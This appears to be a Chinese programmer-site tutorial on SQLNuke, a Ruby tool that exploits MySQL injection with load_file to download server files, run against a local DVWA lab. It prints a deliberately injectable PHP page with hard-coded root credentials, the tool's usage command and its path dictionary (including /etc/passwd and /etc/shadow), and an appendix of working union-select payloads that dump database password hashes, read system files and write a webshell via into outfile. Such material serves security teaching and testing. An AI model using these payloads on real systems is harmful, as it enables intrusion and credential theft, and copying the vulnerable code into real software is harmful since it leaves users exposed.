欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

SQLNuke——mysql 注入load_file Fuzz工具

程序员文章站 2022-04-06 23:05:14
SQLNuke是一款load_file Fuzz工具,使用ruby编写。可以在找到SQL注入后,辅助使用,它可以将操作系统中的部分文件下载到本地来。工具的原理很简单,使用load_...
SQLNuke是一款load_file Fuzz工具,使用ruby编写。可以在找到SQL注入后,辅助使用,它可以将操作系统中的部分文件下载到本地来。工具的原理很简单,使用load_file函数配合文件路径名字典来试探哪些文件可读取并下载到本地。

 

 

我们现在来验证一下该工具的作用。

 

以下是用于测试的,存在sql注入的PHP实例代码sqlitest.php,我直接使用的DVWA数据库

php
$id = $_GET['id'];

$con = mysql_connect("localhost","root","toor") or die ("cannot connect mysql server .".mysql_error());
mysql_select_db("dvwa",$con) or die (mysql_error($con));

$sql = "select * from users where user_id=$id";

print "

SQL injection example


";

$result = mysql_query($sql,$con) or die (mysql_error($con));

while($row = mysql_fetch_assoc($result)){
echo "id:".$row['user_id']."
";
echo "user:".$row['user']."
";
echo "password:".$row['password']."
";
echo "
";
}

mysql_free_result($result);

mysql_close($con);

?>



 

如下图所示,id是注入点,1,4,5字段的地方有回显(附录部分会介绍如何定位mysql注入

 SQLNuke——mysql 注入load_file Fuzz工具

 

在定位注入点与回显地方后,可以使用手动的方式来load_file感兴趣的文件,以查询/etc/passwd为例,如下图所示

SQLNuke——mysql 注入load_file Fuzz工具

 

我们可以一个个尝试哪些文件可以使用load_file读取。当然也可以使用脚本工具自动化探测,Sqlnuke就具备这样的作用。下面介绍如何使用

 

首先,下载Sqlnuke


git clone https://github.com/nuke99/sqlnuke.git

然后,使用sqlnuke,使用方法很简单。


./sql.rb -u 'http://localhost/sqlitest.php?id=1 union select 1,2,3,XxxX,5,6' --os linux

(1)-u选项表示存在sql注入的URL,XxxX来代替回显字段,本文实例sqlitest.php在1,4,5的位置有回显,我们可以使用XxxX来替代1,4,5位任意一处位置

(2)--os选项表示mysql服务器所在的操作系统类型

 

运行该命令后,我们可以看到,成功下载了6个文件,并存放在了output/localhost/文件夹下

SQLNuke——mysql 注入load_file Fuzz工具

 

本次示例在backtrack上读取了以下6个文件

SQLNuke——mysql 注入load_file Fuzz工具

在文章开头,提到sqlnuke的原理是用文件路径字典做Fuzz,sqlnuke的文件路径名字典存放在/sqluke/inputs/packset.lst下,默认的字典如下所示:


:linux:
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/hosts
- /etc/apache2/logs/access.log
- /etc/httpd/access.log
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /opt/apache/conf/httpd.conf
- /etc/httpd/httpd.conf
- /etc/httpd/conf/httpd.conf
- /etc/apache/apache.conf
- /etc/apache/httpd.conf
- /etc/apache2/apache2.conf
- /etc/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /opt/apache/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /etc/apache2/sites-available/default
- /etc/apache2/vhosts.d/default_vhost.include
- /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
:win:
- C:/wamp/bin/apache/logs/access.log
- C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
- C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build

 

当然,我们可以修改字典内容,来试探下载感兴趣的文件。

 

Have Fun.

 

 

附录

MySQL注入checklist(以sqlitest.php为例,不包括盲注的情况)

1 判断是否存在注入

观察单引号是否报错

http://localhost/sqlitest.php?id=1‘

观察下面两个请求是否存在差异

http://localhost/sqlitest.php?id=1 and 1=1

http://localhost/sqlitest.php?id=1 and 1=2

 

2 判断列数

可以使用二分法来定位列数

http://localhost/sqlitest.php?id=1 order by 8

http://localhost/sqlitest.php?id=1 order by 4

(注意;有时候需要将后面的语句注释掉,mysql常见注释语句 -- # /*,例如http://localhost/sqlitest.php?id=1 order by 8 -- )

 

3 判断页面哪些地方可以回显

http://localhost/sqlittest.php?id=1 union select 1,2,3,4,5,6

(注意:有时候页面只显示一行查询结果,这个时候就需要屏蔽正常的返回结果http://localhost/sqlittest.php?id=1 and 1=2 union select 1,2,3,4,5,6

 

4 识别数据库信息

version()数据库版本,database()当前数据库名,user()当前数据库用户

http://localhost/sqlitest.php?id=1  and 1=2 union select version(),2,3,database(),user(),6

SQLNuke——mysql 注入load_file Fuzz工具

 

识别数据库系统权限(注意:information_schema是mysql5.0后才出现的)

http://localhost/sqlitest.php?id=1 union select 1,2,3,concat(grantee,0x3a,privilege_type,0x3a,is_grantable),5,6 from information_schema.user_privileges

 

识别数据库系统账户信息

http://localhost/sqlitest.php?id=1 union select concat(user,password),2,3,4,5,6 from mysql.user

 

 5 列出数据库系统中存放有哪些数据库 http://localhost/sqlitest.php?id=1 union select group_concat(schema_name),2,3,4,5,6 from information_schema.schemata

 

6 猜表

http://localhost/sqlitest.php?id=1 union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=0x(数据库名对应的十六进制)

 

7 猜字段

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=0x(数据库名对应的十六进制) and table_name=0x(表明对应的十六进制)

 

8 经过上面的步骤,得知数据库名,表名和列名等基本信息后就可以联合查询出指定的数据了

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,concat(username,0x3a,password),6 from spt.users

 

9 读取操作系统文件(注意:数据库用户有FILE权限,需要指定完整的路径名,并且该文件可被读取)

/sqlitest.php?id=1 union select 1,2,3,4,load_file(0x2f6574632f706173737764),6

0x2f6574632f706173737764为/etc/passwd对应的十六进制

 

10.向操作系统写数据(注意:数据库用户有FILE权限,有在文件系统中创建文件的权限,需要制定完整的路径名(爆路径漏洞在这里就能发挥作用了),并且写入地方不存在相同文件名的文件)

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,"{C}",6 into outfile "/var/www/yijuhua.php"

 

参考:

http://resources.infosecinstitute.com/sqlnuke-simple-but-fast-mysql-injection-load_file-fuzzer/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+infosecResources+%28InfoSec+Resources%29